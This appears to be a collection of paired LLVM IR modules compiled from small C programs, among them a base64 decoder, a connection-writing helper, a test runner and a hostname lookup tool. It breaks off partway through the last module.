; ModuleID = '/tmp/tmpsrqk7f2y.c' source_filename = "/tmp/tmpsrqk7f2y.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"[return]\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @press_ret() #0 { %1 = call i32 @printf(ptr noundef @.str) %2 = call i32 (...) @getchar() ret void } declare i32 @printf(ptr noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpsrqk7f2y.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [9 x i8] c"[return]\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @press_ret() #0 { %1 = call i32 @printf(ptr noundef @.str) %2 = call i32 (...) @getchar() ret void } declare i32 @printf(ptr noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpjcs_5wo3.c' source_filename = "/tmp/tmpjcs_5wo3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @wave(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %6 = load i32, ptr %3, align 4 %7 = call i32 @new_connection(i32 noundef %6) store i32 %7, ptr %5, align 4 %8 = icmp slt i32 %7, 0 br i1 %8, label %9, label %10 9: ; preds = %2 br label %17 10: ; preds = %2 %11 = load i32, ptr %5, align 4 %12 = load ptr, ptr %4, align 8 %13 = call i32 @write_to_descriptor(i32 noundef %11, ptr noundef %12) %14 = call i32 @sleep(i32 noundef 6) %15 = load i32, ptr %5, align 4 %16 = call i32 @close(i32 noundef %15) br label %17 17: ; preds = %10, %9 ret void } declare i32 @new_connection(i32 noundef) #1 declare i32 @write_to_descriptor(i32 noundef, ptr noundef) #1 declare i32 @sleep(i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpjcs_5wo3.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local void @wave(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca ptr, align 8 %5 = alloca i32, align 4 store i32 %0, ptr %3, align 4 store ptr %1, ptr %4, align 8 %6 = load i32, ptr %3, align 4 %7 = call i32 @new_connection(i32 noundef %6) store i32 %7, ptr %5, align 4 %8 = icmp slt i32 %7, 0 br i1 %8, label %9, label %10 9: ; preds = %2 br label %17 10: ; preds = %2 %11 = load i32, ptr %5, align 4 %12 = load ptr, ptr %4, align 8 %13 = call i32 @write_to_descriptor(i32 noundef %11, ptr noundef %12) %14 = call i32 @sleep(i32 noundef 6) %15 = load i32, ptr %5, align 4 %16 = call i32 @close(i32 noundef %15) br label %17 17: ; preds = %10, %9 ret void } declare i32 @new_connection(i32 noundef) #1 declare i32 @write_to_descriptor(i32 noundef, ptr noundef) #1 declare i32 @sleep(i32 noundef) #1 declare i32 @close(i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwxlj55a8.c' source_filename = "/tmp/tmpwxlj55a8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @base64_to_string(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 store i64 0, ptr %5, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 br label %8 8: ; preds = %106, %2 %9 = load ptr, ptr %4, align 8 %10 = load i8, ptr %9, align 1 %11 = icmp ne i8 %10, 0 br i1 %11, label %12, label %109 12: ; preds = %8 %13 = load ptr, ptr %4, align 8 %14 = load i8, ptr %13, align 1 %15 = sext i8 %14 to i32 %16 = icmp eq i32 %15, 43 br i1 %16, label %17, label %21 17: ; preds = %12 %18 = load i64, ptr %5, align 8 %19 = shl i64 %18, 6 %20 = or i64 %19, 62 store i64 %20, ptr %5, align 8 br label %82 21: ; preds = %12 %22 = load ptr, ptr %4, align 8 %23 = load i8, ptr %22, align 1 %24 = sext i8 %23 to i32 %25 = icmp eq i32 %24, 47 br i1 %25, label %26, label %30 26: ; preds = %21 %27 = load i64, ptr %5, align 8 %28 = shl i64 %27, 6 %29 = or i64 %28, 63 store i64 %29, ptr %5, align 8 br label %81 30: ; preds = %21 %31 = load ptr, ptr %4, align 8 %32 = load i8, ptr %31, align 1 %33 = call i64 @isdigit(i8 noundef signext %32) %34 = icmp ne i64 %33, 0 br i1 %34, label %35, label %45 35: ; preds = %30 %36 = load i64, ptr %5, align 8 %37 = shl i64 %36, 6 %38 = load ptr, ptr %4, align 8 %39 = load i8, ptr %38, align 1 %40 = sext i8 %39 to i32 %41 = add nsw i32 52, %40 %42 = sub nsw i32 %41, 48 %43 = sext i32 %42 to i64 %44 = or i64 %37, %43 store i64 %44, ptr %5, align 8 br label %80 45: ; preds = %30 %46 = load ptr, ptr %4, align 8 %47 = load i8, ptr %46, align 1 %48 = call i64 @isupper(i8 noundef signext %47) %49 = icmp ne i64 %48, 0 br i1 %49, label %50, label %59 50: ; preds = %45 %51 = load i64, ptr %5, align 8 %52 = shl i64 %51, 6 %53 = load ptr, ptr %4, align 8 %54 = load i8, ptr %53, align 1 %55 = sext i8 %54 to i32 %56 = sub nsw i32 %55, 65 %57 = sext i32 %56 to i64 %58 = or i64 %52, %57 store i64 %58, ptr %5, align 8 br label %79 59: ; preds = %45 %60 = load ptr, ptr %4, align 8 %61 = load i8, ptr %60, align 1 %62 = call i64 @islower(i8 noundef signext %61) %63 = icmp ne i64 %62, 0 br i1 %63, label %64, label %74 64: ; preds = %59 %65 = load i64, ptr %5, align 8 %66 = shl i64 %65, 6 %67 = load ptr, ptr %4, align 8 %68 = load i8, ptr %67, align 1 %69 = sext i8 %68 to i32 %70 = add nsw i32 26, %69 %71 = sub nsw i32 %70, 97 %72 = sext i32 %71 to i64 %73 = or i64 %66, %72 store i64 %73, ptr %5, align 8 br label %78 74: ; preds = %59 %75 = load i64, ptr %5, align 8 %76 = shl i64 %75, 6 %77 = or i64 %76, 0 store i64 %77, ptr %5, align 8 br label %78 78: ; preds = %74, %64 br label %79 79: ; preds = %78, %50 br label %80 80: ; preds = %79, %35 br label %81 81: ; preds = %80, %26 br label %82 82: ; preds = %81, %17 %83 = load i32, ptr %6, align 4 %84 = add nsw i32 %83, 1 store i32 %84, ptr %6, align 4 %85 = icmp sge i32 %84, 4 br i1 %85, label %86, label %106 86: ; preds = %82 %87 = load i64, ptr %5, align 8 %88 = and i64 %87, 16711680 %89 = lshr i64 %88, 16 %90 = trunc i64 %89 to i8 %91 = load ptr, ptr %3, align 8 %92 = getelementptr inbounds i8, ptr %91, i32 1 store ptr %92, ptr %3, align 8 store i8 %90, ptr %91, align 1 %93 = load i64, ptr %5, align 8 %94 = and i64 %93, 65280 %95 = lshr i64 %94, 8 %96 = trunc i64 %95 to i8 %97 = load ptr, ptr %3, align 8 %98 = getelementptr inbounds i8, ptr %97, i32 1 store ptr %98, ptr %3, align 8 store i8 %96, ptr %97, align 1 %99 = load i64, ptr %5, align 8 %100 = and i64 %99, 255 %101 = trunc i64 %100 to i8 %102 = load ptr, ptr %3, align 8 %103 = getelementptr inbounds i8, ptr %102, i32 1 store ptr %103, ptr %3, align 8 store i8 %101, ptr %102, align 1 store i64 0, ptr %5, align 8 store i32 0, ptr %6, align 4 %104 = load i32, ptr %7, align 4 %105 = add nsw i32 %104, 3 store i32 %105, ptr %7, align 4 br label %106 106: ; preds = %86, %82 %107 = load ptr, ptr %4, align 8 %108 = getelementptr inbounds i8, ptr %107, i32 1 store ptr %108, ptr %4, align 8 br label %8, !llvm.loop !6 109: ; preds = %8 %110 = load ptr, ptr %3, align 8 store i8 0, ptr %110, align 1 %111 = load i32, ptr %7, align 4 ret i32 %111 } declare i64 @isdigit(i8 noundef signext) #1 declare i64 @isupper(i8 noundef signext) #1 declare i64 @islower(i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwxlj55a8.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @base64_to_string(ptr noundef %0, ptr noundef %1) #0 { %3 = alloca ptr, align 8 %4 = alloca ptr, align 8 %5 = alloca i64, align 8 %6 = alloca i32, align 4 %7 = alloca i32, align 4 store ptr %0, ptr %3, align 8 store ptr %1, ptr %4, align 8 store i64 0, ptr %5, align 8 store i32 0, ptr %6, align 4 store i32 0, ptr %7, align 4 %8 = load ptr, ptr %4, align 8 %9 = load i8, ptr %8, align 1 %10 = icmp ne i8 %9, 0 br i1 %10, label %.lr.ph, label %111 .lr.ph: ; preds = %2 br label %11 11: ; preds = %.lr.ph, %105 %12 = load ptr, ptr %4, align 8 %13 = load i8, ptr %12, align 1 %14 = sext i8 %13 to i32 %15 = icmp eq i32 %14, 43 br i1 %15, label %16, label %20 16: ; preds = %11 %17 = load i64, ptr %5, align 8 %18 = shl i64 %17, 6 %19 = or i64 %18, 62 store i64 %19, ptr %5, align 8 br label %81 20: ; preds = %11 %21 = load ptr, ptr %4, align 8 %22 = load i8, ptr %21, align 1 %23 = sext i8 %22 to i32 %24 = icmp eq i32 %23, 47 br i1 %24, label %25, label %29 25: ; preds = %20 %26 = load i64, ptr %5, align 8 %27 = shl i64 %26, 6 %28 = or i64 %27, 63 store i64 %28, ptr %5, align 8 br label %80 29: ; preds = %20 %30 = load ptr, ptr %4, align 8 %31 = load i8, ptr %30, align 1 %32 = call i64 @isdigit(i8 noundef signext %31) %33 = icmp ne i64 %32, 0 br i1 %33, label %34, label %44 34: ; preds = %29 %35 = load i64, ptr %5, align 8 %36 = shl i64 %35, 6 %37 = load ptr, ptr %4, align 8 %38 = load i8, ptr %37, align 1 %39 = sext i8 %38 to i32 %40 = add nsw i32 52, %39 %41 = sub nsw i32 %40, 48 %42 = sext i32 %41 to i64 %43 = or i64 %36, %42 store i64 %43, ptr %5, align 8 br label %79 44: ; preds = %29 %45 = load ptr, ptr %4, align 8 %46 = load i8, ptr %45, align 1 %47 = call i64 @isupper(i8 noundef signext %46) %48 = icmp ne i64 %47, 0 br i1 %48, label %49, label %58 49: ; preds = %44 %50 = load i64, ptr %5, align 8 %51 = shl i64 %50, 6 %52 = load ptr, ptr %4, align 8 %53 = load i8, ptr %52, align 1 %54 = sext i8 %53 to i32 %55 = sub nsw i32 %54, 65 %56 = sext i32 %55 to i64 %57 = or i64 %51, %56 store i64 %57, ptr %5, align 8 br label %78 58: ; preds = %44 %59 = load ptr, ptr %4, align 8 %60 = load i8, ptr %59, align 1 %61 = call i64 @islower(i8 noundef signext %60) %62 = icmp ne i64 %61, 0 br i1 %62, label %63, label %73 63: ; preds = %58 %64 = load i64, ptr %5, align 8 %65 = shl i64 %64, 6 %66 = load ptr, ptr %4, align 8 %67 = load i8, ptr %66, align 1 %68 = sext i8 %67 to i32 %69 = add nsw i32 26, %68 %70 = sub nsw i32 %69, 97 %71 = sext i32 %70 to i64 %72 = or i64 %65, %71 store i64 %72, ptr %5, align 8 br label %77 73: ; preds = %58 %74 = load i64, ptr %5, align 8 %75 = shl i64 %74, 6 %76 = or i64 %75, 0 store i64 %76, ptr %5, align 8 br label %77 77: ; preds = %73, %63 br label %78 78: ; preds = %77, %49 br label %79 79: ; preds = %78, %34 br label %80 80: ; preds = %79, %25 br label %81 81: ; preds = %80, %16 %82 = load i32, ptr %6, align 4 %83 = add nsw i32 %82, 1 store i32 %83, ptr %6, align 4 %84 = icmp sge i32 %83, 4 br i1 %84, label %85, label %105 85: ; preds = %81 %86 = load i64, ptr %5, align 8 %87 = and i64 %86, 16711680 %88 = lshr i64 %87, 16 %89 = trunc i64 %88 to i8 %90 = load ptr, ptr %3, align 8 %91 = getelementptr inbounds i8, ptr %90, i32 1 store ptr %91, ptr %3, align 8 store i8 %89, ptr %90, align 1 %92 = load i64, ptr %5, align 8 %93 = and i64 %92, 65280 %94 = lshr i64 %93, 8 %95 = trunc i64 %94 to i8 %96 = load ptr, ptr %3, align 8 %97 = getelementptr inbounds i8, ptr %96, i32 1 store ptr %97, ptr %3, align 8 store i8 %95, ptr %96, align 1 %98 = load i64, ptr %5, align 8 %99 = and i64 %98, 255 %100 = trunc i64 %99 to i8 %101 = load ptr, ptr %3, align 8 %102 = getelementptr inbounds i8, ptr %101, i32 1 store ptr %102, ptr %3, align 8 store i8 %100, ptr %101, align 1 store i64 0, ptr %5, align 8 store i32 0, ptr %6, align 4 %103 = load i32, ptr %7, align 4 %104 = add nsw i32 %103, 3 store i32 %104, ptr %7, align 4 br label %105 105: ; preds = %85, %81 %106 = load ptr, ptr %4, align 8 %107 = getelementptr inbounds i8, ptr %106, i32 1 store ptr %107, ptr %4, align 8 %108 = load ptr, ptr %4, align 8 %109 = load i8, ptr %108, align 1 %110 = icmp ne i8 %109, 0 br i1 %110, label %11, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %105 br label %111 111: ; preds = %._crit_edge, %2 %112 = load ptr, ptr %3, align 8 store i8 0, ptr %112, align 1 %113 = load i32, ptr %7, align 4 ret i32 %113 } declare i64 @isdigit(i8 noundef signext) #1 declare i64 @isupper(i8 noundef signext) #1 declare i64 @islower(i8 noundef signext) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpgssldgpy.c' source_filename = "/tmp/tmpgssldgpy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpgssldgpy.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwn2zf7qm.c' source_filename = "/tmp/tmpwn2zf7qm.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwn2zf7qm.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp3lbj9o8a.c' source_filename = "/tmp/tmp3lbj9o8a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp3lbj9o8a.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmp65vzt_18.c' source_filename = "/tmp/tmp65vzt_18.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp65vzt_18.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpfylzk24b.c' source_filename = "/tmp/tmpfylzk24b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 (...) @test_insert() %3 = call i32 (...) @test_remove() %4 = call i32 (...) @test_copy() %5 = call i32 (...) @test_isempty() %6 = call i32 (...) @test_size() %7 = call i32 (...) @test_indexof() %8 = call i32 (...) @test_has() %9 = call i32 (...) @test_lookup() ret i32 0 } declare i32 @test_insert(...) #1 declare i32 @test_remove(...) #1 declare i32 @test_copy(...) #1 declare i32 @test_isempty(...) #1 declare i32 @test_size(...) #1 declare i32 @test_indexof(...) #1 declare i32 @test_has(...) #1 declare i32 @test_lookup(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpfylzk24b.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 store i32 0, ptr %1, align 4 %2 = call i32 (...) @test_insert() %3 = call i32 (...) @test_remove() %4 = call i32 (...) @test_copy() %5 = call i32 (...) @test_isempty() %6 = call i32 (...) @test_size() %7 = call i32 (...) @test_indexof() %8 = call i32 (...) @test_has() %9 = call i32 (...) @test_lookup() ret i32 0 } declare i32 @test_insert(...) #1 declare i32 @test_remove(...) #1 declare i32 @test_copy(...) #1 declare i32 @test_isempty(...) #1 declare i32 @test_size(...) #1 declare i32 @test_indexof(...) #1 declare i32 @test_has(...) #1 declare i32 @test_lookup(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmplhps7yn1.c' source_filename = "/tmp/tmplhps7yn1.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" %struct.hostent = type { ptr, ptr, ptr } %struct.in_addr = type { i32 } @.str = private unnamed_addr constant [20 x i8] c"Usage: %s hostname\0A\00", align 1 @.str.1 = private unnamed_addr constant [24 x i8] c"gethostbyname() failed\0A\00", align 1 @.str.2 = private unnamed_addr constant [5 x i8] c"%s:\0A\00", align 1 @.str.3 = private unnamed_addr constant [21 x i8] c"alias: %s , addr:%s\0A\00", align 1 @.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 { %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca ptr, align 8 %6 = alloca ptr, align 8 %7 = alloca i32, align 4 store i32 0, ptr %3, align 4 store i32 %0, ptr %4, align 4 store ptr %1, ptr %5, align 8 %8 = load i32, ptr %4, align 4 %9 = icmp slt i32 %8, 2 br i1 %9, label %10, label %16 10: ; preds = %2 %11 = load ptr, ptr %5, align 8 %12 = getelementptr inbounds ptr, ptr %11, i64 0 %13 = load ptr, ptr %12, align 8 %14 = call i32 (ptr, ...) @printf(ptr noundef @.str, ptr noundef %13) %15 = call i32 @exit(i32 noundef -1) #3 unreachable 16: ; preds = %2 %17 = load ptr, ptr %5, align 8 %18 = getelementptr inbounds ptr, ptr %17, i64 1 %19 = load ptr, ptr %18, align 8 %20 = call ptr @gethostbyname(ptr noundef %19) store ptr %20, ptr %6, align 8 %21 = load ptr, ptr %6, align 8 %22 = icmp eq ptr %21, null br i1 %22, label %23, label %25 23: ; preds = %16 %24 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) br label %62 25: ; preds = %16 %26 = load ptr, ptr %6, align 8 